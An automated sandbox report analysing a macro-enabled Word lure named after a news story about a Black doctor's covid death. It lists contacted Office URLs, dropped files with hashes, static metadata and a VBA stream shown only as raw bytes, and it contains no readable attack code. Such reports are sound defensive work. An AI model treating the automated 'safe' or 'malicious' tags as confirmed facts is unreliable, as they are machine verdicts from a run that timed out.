                                                                                https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                  		high
                                                                                  https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                    		high
                                                                                    https://management.azure.com8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                      		high
                                                                                      https://incidents.diagnostics.office.com8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                        		high
                                                                                        https://clients.config.office.net/user/v1.0/ios8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                          		high
                                                                                          https://insertmedia.bing.office.net/odc/insertmedia8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                            		high
                                                                                            https://o365auditrealtimeingestion.manage.office.com8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                              		high
                                                                                              https://outlook.office365.com/api/v1.0/me/Activities8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                                		high
                                                                                                https://api.office.net8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                                  		high
                                                                                                  https://incidents.diagnosticssdf.office.com8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                                    		high
                                                                                                    https://asgsmsproxyapi.azurewebsites.net/8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                                    • 0%, Virustotal, Browse
                                                                                                    • Avira URL Cloud: safe
                                                                                                    		unknown
                                                                                                    https://clients.config.office.net/user/v1.0/android/policies8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                                      		high
                                                                                                      https://entitlement.diagnostics.office.com8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                                        		high
                                                                                                        https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                                          		high
                                                                                                          https://outlook.office.com/8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                                            		high
                                                                                                            https://storage.live.com/clientlogs/uploadlocation8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                                              		high
                                                                                                              https://templatelogging.office.com/client/log8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                                                		high
                                                                                                                https://outlook.office365.com/8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                                                  		high
                                                                                                                  https://webshell.suite.office.com8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                                                    		high
                                                                                                                    https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                                                      		high
                                                                                                                      https://management.azure.com/8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                                                        		high
                                                                                                                        https://ncus-000.contentsync.8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                                                        • URL Reputation: safe
                                                                                                                        • URL Reputation: safe
                                                                                                                        • URL Reputation: safe
                                                                                                                        • URL Reputation: safe
                                                                                                                        		unknown
                                                                                                                        https://login.windows.net/common/oauth2/authorize8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                                                          		high
                                                                                                                          https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                                                          • URL Reputation: safe
                                                                                                                          • URL Reputation: safe
                                                                                                                          • URL Reputation: safe
                                                                                                                          • URL Reputation: safe
                                                                                                                          		unknown
                                                                                                                          https://graph.windows.net/8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                                                            		high
                                                                                                                            https://api.powerbi.com/beta/myorg/imports8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                                                              		high
                                                                                                                              https://devnull.onenote.com8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                                                                		high
                                                                                                                                https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                                                                  		high
                                                                                                                                  https://messaging.office.com/8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                                                                    		high
                                                                                                                                    https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                                                                      		high
                                                                                                                                      https://contentstorage.omex.office.net/addinclassifier/officeentities8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                                                                        		high
                                                                                                                                        https://augloop.office.com/v28CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                                                                          		high
                                                                                                                                          https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                                                                            		high
                                                                                                                                            https://skyapi.live.net/Activity/8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                                                                            • URL Reputation: safe
                                                                                                                                            • URL Reputation: safe
                                                                                                                                            • URL Reputation: safe
                                                                                                                                            • URL Reputation: safe
                                                                                                                                            		unknown
                                                                                                                                            https://clients.config.office.net/user/v1.0/mac8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                                                                              		high
                                                                                                                                              https://dataservice.o365filtering.com8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                                                                              • URL Reputation: safe
                                                                                                                                              • URL Reputation: safe
                                                                                                                                              • URL Reputation: safe
                                                                                                                                              • URL Reputation: safe
                                                                                                                                              		unknown
                                                                                                                                              https://onedrive.live.com8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                                                                                		high
                                                                                                                                                https://ovisualuiapp.azurewebsites.net/pbiagave/8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                                                                                • Avira URL Cloud: safe
                                                                                                                                                		unknown
                                                                                                                                                https://visio.uservoice.com/forums/368202-visio-on-devices8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                                                                                  		high
                                                                                                                                                  https://directory.services.8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                                                                                  • URL Reputation: safe
                                                                                                                                                  • URL Reputation: safe
                                                                                                                                                  • URL Reputation: safe
                                                                                                                                                  		unknown
                                                                                                                                                  https://login.windows-ppe.net/common/oauth2/authorize8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                                                                                    		high
                                                                                                                                                    https://loki.delve.office.com/api/v1/configuration/officewin32/8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                                                                                      		high

                                                                                                                                                      Contacted IPs

                                                                                                                                                      No contacted IP infos

                                                                                                                                                      General Information

                                                                                                                                                      Joe Sandbox Version:31.0.0 Red Diamond
                                                                                                                                                      Analysis ID:334232
                                                                                                                                                      Start date:27.12.2020
                                                                                                                                                      Start time:09:04:15
                                                                                                                                                      Joe Sandbox Product:CloudBasic
                                                                                                                                                      Overall analysis duration:0h 8m 48s
                                                                                                                                                      Hypervisor based Inspection enabled:false
                                                                                                                                                      Report type:full
                                                                                                                                                      Sample file name:Medica negra morre covid-19 apos racismo.docm
                                                                                                                                                      Cookbook file name:defaultwindowsofficecookbook.jbs
                                                                                                                                                      Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                                                                                                                      Run name:Potential for more IOCs and behavior
                                                                                                                                                      Number of analysed new started processes analysed:39
                                                                                                                                                      Number of new started drivers analysed:0
                                                                                                                                                      Number of existing processes analysed:0
                                                                                                                                                      Number of existing drivers analysed:0
                                                                                                                                                      Number of injected processes analysed:0
                                                                                                                                                      Technologies:
                                                                                                                                                      • HCA enabled
                                                                                                                                                      • EGA enabled
                                                                                                                                                      • HDC enabled
                                                                                                                                                      • GSI enabled (VBA)
                                                                                                                                                      • AMSI enabled
                                                                                                                                                      Analysis Mode:default
                                                                                                                                                      Analysis stop reason:Timeout
                                                                                                                                                      Detection:MAL
                                                                                                                                                      Classification:mal68.expl.evad.winDOCM@1/8@0/0
                                                                                                                                                      Cookbook Comments:
                                                                                                                                                      • Adjust boot time
                                                                                                                                                      • Enable AMSI
                                                                                                                                                      • Found application associated with file extension: .docm
                                                                                                                                                      • Found Word or Excel or PowerPoint or XPS Viewer
                                                                                                                                                      • Unable to detect Microsoft Word
                                                                                                                                                      • Close Viewer
                                                                                                                                                      Warnings:
                                                                                                                                                      Show All
                                                                                                                                                      • Exclude process from analysis (whitelisted): MpCmdRun.exe, WinStore.App.exe, RuntimeBroker.exe, Microsoft.Photos.exe, backgroundTaskHost.exe, ApplicationFrameHost.exe, UsoClient.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, MusNotifyIcon.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe
                                                                                                                                                      • Excluded IPs from analysis (whitelisted): 104.43.193.48, 52.147.198.201, 52.109.76.68, 52.109.8.25, 52.109.12.23, 51.132.208.181, 104.79.90.110, 92.122.213.247, 92.122.213.194, 20.54.26.129, 2.20.142.210, 2.20.142.209, 51.104.139.180, 52.155.217.156, 104.79.89.181, 20.190.129.128, 20.190.129.2, 40.126.1.145, 20.190.129.133, 40.126.1.166, 20.190.129.24, 40.126.1.142, 20.190.129.19, 40.127.240.158, 51.124.78.146
                                                                                                                                                      • Excluded domains from analysis (whitelisted): storeedgefd.dsx.mp.microsoft.com.edgekey.net.globalredir.akadns.net, au.download.windowsupdate.com.edgesuite.net, prod-w.nexus.live.com.akadns.net, arc.msn.com.nsatc.net, www.tm.lg.prod.aadmsa.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, storeedgefd.xbetservices.akadns.net, www.tm.a.prd.aadg.trafficmanager.net, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, login.live.com, audownload.windowsupdate.nsatc.net, nexus.officeapps.live.com, officeclient.microsoft.com, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, storeedgefd.dsx.mp.microsoft.com, displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, fs.microsoft.com, prod.configsvc1.live.com.akadns.net, db3p-ris-pf-prod-atm.trafficmanager.net, ris-prod.trafficmanager.net, displaycatalog.md.mp.microsoft.com.akadns.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, settings-win.data.microsoft.com, a767.dscg3.akamai.net, storeedgefd.dsx.mp.microsoft.com.edgekey.net, login.msa.msidentity.com, skypedataprdcolcus15.cloudapp.net, settingsfd-geo.trafficmanager.net, skypedataprdcoleus16.cloudapp.net, ris.api.iris.microsoft.com, config.officeapps.live.com, blobcollector.events.data.trafficmanager.net, e16646.dscg.akamaiedge.net, dub2.next.a.prd.aadg.trafficmanager.net, settingsfd-prod-weu1-endpoint.trafficmanager.net, europe.configsvc1.live.com.akadns.net
                                                                                                                                                      Errors:
                                                                                                                                                      • Corrupt sample or wrongly selected analyzer.

                                                                                                                                                      Simulations

                                                                                                                                                      Behavior and APIs

                                                                                                                                                      No simulations

                                                                                                                                                      Joe Sandbox View / Context

                                                                                                                                                      IPs

                                                                                                                                                      No context

                                                                                                                                                      Domains

                                                                                                                                                      No context

                                                                                                                                                      ASN

                                                                                                                                                      No context

                                                                                                                                                      JA3 Fingerprints

                                                                                                                                                      No context

                                                                                                                                                      Dropped Files

                                                                                                                                                      No context

                                                                                                                                                      Created / dropped Files

                                                                                                                                                      C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\8CE411D0-944A-475F-831C-DB1313AF15FE
                                                                                                                                                      Process:C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
                                                                                                                                                      File Type:XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):130397
                                                                                                                                                      Entropy (8bit):5.3770089976764535
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:1536:5cQceNgrA3gZwLpQ9DQW+zAUH34ZldpKWXboOilXPErLL8Eh:kmQ9DQW+zBX8P
                                                                                                                                                      MD5:2B6BDFA22720901B1294CC30233EB43D
                                                                                                                                                      SHA1:DA5F4AEDCC7CC82F08BE93C4BFE80866FF1D050C
                                                                                                                                                      SHA-256:A4A8EBAE629AE88DF47455C05B5F67F76969ED5FB844E9F82F225CE8D26C94C5
                                                                                                                                                      SHA-512:4F024F32982A16F9703285D6ACF44833F84A99094118B7EF283C5FB9ABB5D996A4433FC2D4E3EDDC52FF83906ABDB0D6FD6FEB0B31E423B994DC9DC34BB38CC8
                                                                                                                                                      Malicious:false
                                                                                                                                                      Reputation:low
                                                                                                                                                      Preview: <?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2020-12-27T08:05:04">.. Build: 16.0.13616.30525-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://rr.office.microsoft.com/research/query.asmx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientHome">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientTemplate">.. <o:url>https://ocsa.office.microsoft.com/client/15/help/template</o:url>.. </o:service>.. <o:
                                                                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{207CA17B-38C7-4372-969B-EE496C79ABCB}.tmp
                                                                                                                                                      Process:C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
                                                                                                                                                      File Type:data
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):75264
                                                                                                                                                      Entropy (8bit):3.433192733594239
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:384:guuVtLM7L9ItLpIuaLx/jI5hLsWI2vLnYIncyfLCm2SIv6IEIQLxIBLZRLoLJ/Ih:IcyGm21TegT
                                                                                                                                                      MD5:8BBEA28E2D34003C75E1C68C9FC04ACF
                                                                                                                                                      SHA1:A69DA78644FF060DB1369EA13C1B3DC86F01036A
                                                                                                                                                      SHA-256:C69974291323AE9BD6FE47A9A3E7B792325C15B1D9CF3A8447CCE85297B94EBC
                                                                                                                                                      SHA-512:EC505E2B442079FAA15565ADE6617A8BDB9B396DF42423A14599D91C563E3943925B13B085BC2D2C6F70F037E7D1F520353902D8EF2FC66874BD308E33359DBF
                                                                                                                                                      Malicious:false
                                                                                                                                                      Reputation:low
                                                                                                                                                      Preview: ....................I.M.A.G.E.N.S. .O.M.I.T.I.D.A.S. .P.E.L.A. .M.I.D.I.A.,. .M.U.L.H.E.R. .N.E.G.R.A. .M.O.R.R.E. .A.P...S. .D.E.N.U.N.C.I.A.R. .A.T.E.N.D.I.M.E.N.T.O. .R.A.C.I.S.T.A. .E.M. .H.O.S.P.I.T.A.L.../...................................../......................./.I.m.a.g.e.n.s. .d.o. .m.o.m.e.n.t.o. .e.m. .q.u.e. .e.l.a. .e. .d.e.s.f.a.r...a.d.a.m.e.n.t.e. .a.f.a.s.t.a.d.a...................................../............................................................................................................................................................................................................................d............V..............................gd.i..l........... .......;...$..$.If......F.!v..h.#v...9:V....F...,..t........9.6.,.....5......99...../.............4......F.p............yt.,......d........gd.<^.l........... .......8...$..$.If......F.!v..h.#v...9:V....F...,..t........9.6.5......99...../.............4......F.p............yt.*......d........gd.
                                                                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{2F45822A-FABF-400A-A337-13A874CB1859}.tmp
                                                                                                                                                      Process:C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
                                                                                                                                                      File Type:data
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):1024
                                                                                                                                                      Entropy (8bit):0.05390218305374581
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:3:ol3lYdn:4Wn
                                                                                                                                                      MD5:5D4D94EE7E06BBB0AF9584119797B23A
                                                                                                                                                      SHA1:DBB111419C704F116EFA8E72471DD83E86E49677
                                                                                                                                                      SHA-256:4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
                                                                                                                                                      SHA-512:95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
                                                                                                                                                      Malicious:false
                                                                                                                                                      Reputation:high, very likely benign file
                                                                                                                                                      Preview: ........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{A1E40901-705B-4D6D-A1BC-B8A7F39EF540}.tmp
                                                                                                                                                      Process:C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
                                                                                                                                                      File Type:data
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):1536
                                                                                                                                                      Entropy (8bit):1.3708412074519778
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:3:IiiiiiiiiiVeldI43lnl/bl//l/fl/9vvvvvvvvvvFl/l/lAqsDNjPl3lldHzlbZ:Iiiiiiiiii8l+4cc8++lwG3qm
                                                                                                                                                      MD5:69CEA85DF140789165FE4F0C571582D9
                                                                                                                                                      SHA1:1D0635CA95E20E9B293BB7D4E4CFD6C0BF2FD26A
                                                                                                                                                      SHA-256:2933EF0D88431B8EDD4B44DBAF552CD21A2968B53F59BDB357BAF1769F0BE8B2
                                                                                                                                                      SHA-512:D59CCD27EF5CE1534080269A0835F8F6FD2A5E63A44936C0A28F5297727AB3070B61960BDCA7FAA1993C8FA12D7FA21B2EED5285BD47893775AE977EB0F72512
                                                                                                                                                      Malicious:false
                                                                                                                                                      Reputation:low
                                                                                                                                                      Preview: ..(...(...(...(...(...(...(...(...(...(...(...p.r.a.t.e.s.h...p....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................."...&...*.......>...B...............................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Medica negra morre covid-19 apos racismo.docm.LNK
                                                                                                                                                      Process:C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
                                                                                                                                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Sep 30 14:03:41 2020, mtime=Sun Dec 27 16:05:04 2020, atime=Sun Dec 27 16:05:01 2020, length=100152, window=hide
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):2430
                                                                                                                                                      Entropy (8bit):4.70467662193963
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:24:8DglvHshnq+y/AuLXk1q+y5Duz7aB6myDglvHshnq+y/AuLXk1q+y5Duz7aB6m:8UmhlvubctqB6pUmhlvubctqB6
                                                                                                                                                      MD5:FD7AA0F26501A4C61D9D978AE8CAA267
                                                                                                                                                      SHA1:A04F05CE5DF6323A626821437CDE3827F5A471A4
                                                                                                                                                      SHA-256:DF62D7E39517841C1E83F590901D38CB347676944E342FC812F2A6B9C6A4847B
                                                                                                                                                      SHA-512:E7F762DB2BF2CE70B792C5261257DBC242FA93CE1B1A2DF39DC26B5F17458B737641EDCA5449CE506F346EA43B35F408320E536139B32E837DD378CDEC8EFC46
                                                                                                                                                      Malicious:true
                                                                                                                                                      Reputation:low
                                                                                                                                                      Preview: L..................F.... ...(.Z.:...R..kr....y.jr...8............................P.O. .:i.....+00.../C:\...................x.1......N....Users.d......L...Q......................:.....q|..U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....P.1.....>Qvx..user.<.......Ny..Q.......S......................t.h.a.r.d.z.....~.1.....>Qwx..Desktop.h.......Ny..Q.......Y..............>.......|.D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......2.8....Q.. .MEDICA~1.DOC.........>Qux.Q......h.....................H...M.e.d.i.c.a. .n.e.g.r.a. .m.o.r.r.e. .c.o.v.i.d.-.1.9. . .a.p.o.s. .r.a.c.i.s.m.o...d.o.c.m.......t...............-.......s...........>.S......C:\Users\user\Desktop\Medica negra morre covid-19 apos racismo.docm..E.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.M.e.d.i.c.a. .n.e.g.r.a. .m.o.r.r.e. .c.o.v.i.d.-.1.9. . .a.p.o.s. .r.a.c.i.s.m.o...d.o.c.m.........:..,.LB.)...As...`.......X.......724536...........!a..%.H.VZAj...i..-.........-..!a..%.H.VZAj...i..-.........-
                                                                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
                                                                                                                                                      Process:C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):178
                                                                                                                                                      Entropy (8bit):4.471728841059029
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:3:HjkMFXEZgbMgWFfMWkLprSwAoXEZgbMgWFfMWkLprSmxWjkMFXEZgbMgWFfMWkL2:HjFFaTFfMWkdFaTFfMWkdyFFaTFfMWkC
                                                                                                                                                      MD5:D17AB8486BA359FD7B7708FD8BC3F7FA
                                                                                                                                                      SHA1:4AC6A13D5F58E3B58D04FC5CA7F6513AA99D8780
                                                                                                                                                      SHA-256:BA021FB8E3BAD1681FF21C74F9762EC78DFA041F1CF798DB628BE634631B017F
                                                                                                                                                      SHA-512:92D7939C9FB6E338F565CB715D9B05D605057F4112022B37FD88EA53A029C386988AAAAA1C5E3C206726D8D60ABE1912BDDBFB2A51DFAFED03395329CAF3804F
                                                                                                                                                      Malicious:false
                                                                                                                                                      Reputation:low
                                                                                                                                                      Preview: [misc]..Medica negra morre covid-19 apos racismo.docm.LNK=0..Medica negra morre covid-19 apos racismo.docm.LNK=0..[misc]..Medica negra morre covid-19 apos racismo.docm.LNK=0..
                                                                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm
                                                                                                                                                      Process:C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
                                                                                                                                                      File Type:data
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):162
                                                                                                                                                      Entropy (8bit):2.4350428487438656
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:3:Rl/ZdRZXf6pKlpdqhREl9laqrl/t:RtZTx6klpoklBrll
                                                                                                                                                      MD5:59E3B68FC4E3C8E1C266A211D9A0C63D
                                                                                                                                                      SHA1:D872A6609D9284A29DC4BA216791046E80A6F5AF
                                                                                                                                                      SHA-256:7CA77933470BD96DCE341F7066440D8AC7EB273302448BDA2457863514E7551E
                                                                                                                                                      SHA-512:B66A638AD30E98AF10DF1BD4A992F8AF49178D7221350FB499B399F9729EEE9B4B82F13CE0C2C74F2C76F8DDA74343DA8DDF74DF75C8696E96EDF9B6889F169E
                                                                                                                                                      Malicious:false
                                                                                                                                                      Reputation:low
                                                                                                                                                      Preview: .pratesh................................................p.r.a.t.e.s.h.........S.-O............................W.QO./..x..t`..tP..t............+.UO.0..........H...
                                                                                                                                                      C:\Users\user\Desktop\~$dica negra morre covid-19 apos racismo.docm
                                                                                                                                                      Process:C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
                                                                                                                                                      File Type:data
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):162
                                                                                                                                                      Entropy (8bit):2.4350428487438656
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:3:Rl/ZdRZXf6pKlpdqhREl9laqrl/t:RtZTx6klpoklBrll
                                                                                                                                                      MD5:59E3B68FC4E3C8E1C266A211D9A0C63D
                                                                                                                                                      SHA1:D872A6609D9284A29DC4BA216791046E80A6F5AF
                                                                                                                                                      SHA-256:7CA77933470BD96DCE341F7066440D8AC7EB273302448BDA2457863514E7551E
                                                                                                                                                      SHA-512:B66A638AD30E98AF10DF1BD4A992F8AF49178D7221350FB499B399F9729EEE9B4B82F13CE0C2C74F2C76F8DDA74343DA8DDF74DF75C8696E96EDF9B6889F169E
                                                                                                                                                      Malicious:false
                                                                                                                                                      Reputation:low
                                                                                                                                                      Preview: .pratesh................................................p.r.a.t.e.s.h.........S.-O............................W.QO./..x..t`..tP..t............+.UO.0..........H...

                                                                                                                                                      Static File Info

                                                                                                                                                      General

                                                                                                                                                      File type:Microsoft Word 2007+
                                                                                                                                                      Entropy (8bit):7.94116946391462
                                                                                                                                                      TrID:
                                                                                                                                                      • Word Microsoft Office Open XML Format document with Macro (52004/1) 33.99%
                                                                                                                                                      • Word Microsoft Office Open XML Format document (49504/1) 32.35%
                                                                                                                                                      • Word Microsoft Office Open XML Format document (43504/1) 28.43%
                                                                                                                                                      • ZIP compressed archive (8000/1) 5.23%
                                                                                                                                                      File name:Medica negra morre covid-19 apos racismo.docm
                                                                                                                                                      File size:107431
                                                                                                                                                      MD5:549943fa268b65fee546e7adda0f06ba
                                                                                                                                                      SHA1:0ffc18af6916d88bf456f32a2e85b85e56b6c109
                                                                                                                                                      SHA256:c221dc10d175c2f3fb8366ad3aada1cf06c74ad8483a4a67bf62a0702b41c6f5
                                                                                                                                                      SHA512:6114421c747413253cdae3125f9eaff9aa8111785eebcd0836e9c8b43abc47e3acf82112c007e0fdca41940605f6aecc66f322e5106af8b0ee189a22bd1428da
                                                                                                                                                      SSDEEP:3072:iPSJXeHaWtd2jmnXwTzxktQvdtOvlSHpN6:bQvymA3xkte0vlypN6
                                                                                                                                                      File Content Preview:PK..........!.f.E?............[Content_Types].xml ...(.........................................................................................................................................................................................................

                                                                                                                                                      File Icon

                                                                                                                                                      Icon Hash:74fcd0d2f692908c

                                                                                                                                                      Static OLE Info

                                                                                                                                                      General

                                                                                                                                                      Document Type:OpenXML
                                                                                                                                                      Number of OLE Files:1

                                                                                                                                                      OLE File "/opt/package/joesandbox/database/analysis/334232/sample/Medica negra morre covid-19 apos racismo.docm"

                                                                                                                                                      Indicators

                                                                                                                                                      Has Summary Info:False
                                                                                                                                                      Application Name:unknown
                                                                                                                                                      Encrypted Document:False
                                                                                                                                                      Contains Word Document Stream:
                                                                                                                                                      Contains Workbook/Book Stream:
                                                                                                                                                      Contains PowerPoint Document Stream:
                                                                                                                                                      Contains Visio Document Stream:
                                                                                                                                                      Contains ObjectPool Stream:
                                                                                                                                                      Flash Objects Count:
                                                                                                                                                      Contains VBA Macros:True

                                                                                                                                                      Summary

                                                                                                                                                      Title:
                                                                                                                                                      Subject:
                                                                                                                                                      Author:Orca
                                                                                                                                                      Keywords:
                                                                                                                                                      Template:Normal
                                                                                                                                                      Last Saved By:Neutral Shop
                                                                                                                                                      Revion Number:12
                                                                                                                                                      Total Edit Time:13
                                                                                                                                                      Create Time:2020-12-24T08:21:00Z
                                                                                                                                                      Last Saved Time:2020-12-27T04:32:00Z
                                                                                                                                                      Number of Pages:25
                                                                                                                                                      Number of Words:365
                                                                                                                                                      Number of Characters:1977
                                                                                                                                                      Creating Application:Microsoft Office Word
                                                                                                                                                      Security:0

                                                                                                                                                      Document Summary

                                                                                                                                                      Number of Lines:16
                                                                                                                                                      Number of Paragraphs:4
                                                                                                                                                      Thumbnail Scaling Desired:false
                                                                                                                                                      Company:
                                                                                                                                                      Contains Dirty Links:false
                                                                                                                                                      Shared Document:false
                                                                                                                                                      Changed Hyperlinks:false
                                                                                                                                                      Application Version:16.0000

                                                                                                                                                      Streams with VBA

                                                                                                                                                      VBA File Name: ThisDocument.cls, Stream Size: 211789
                                                                                                                                                      General
                                                                                                                                                      Stream Path:VBA/ThisDocument
                                                                                                                                                      VBA File Name:ThisDocument.cls
                                                                                                                                                      Stream Size:211789
                                                                                                                                                      Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . U f . . . . . . . . . . . ; . E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . > . . 8 . . N . t . . . p . . . . . . . . . I . . l . 0 . . K . . . . . . . . . . . . . . . . . . . . . . Z . . c 4 L . . . Q . { . q . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . .
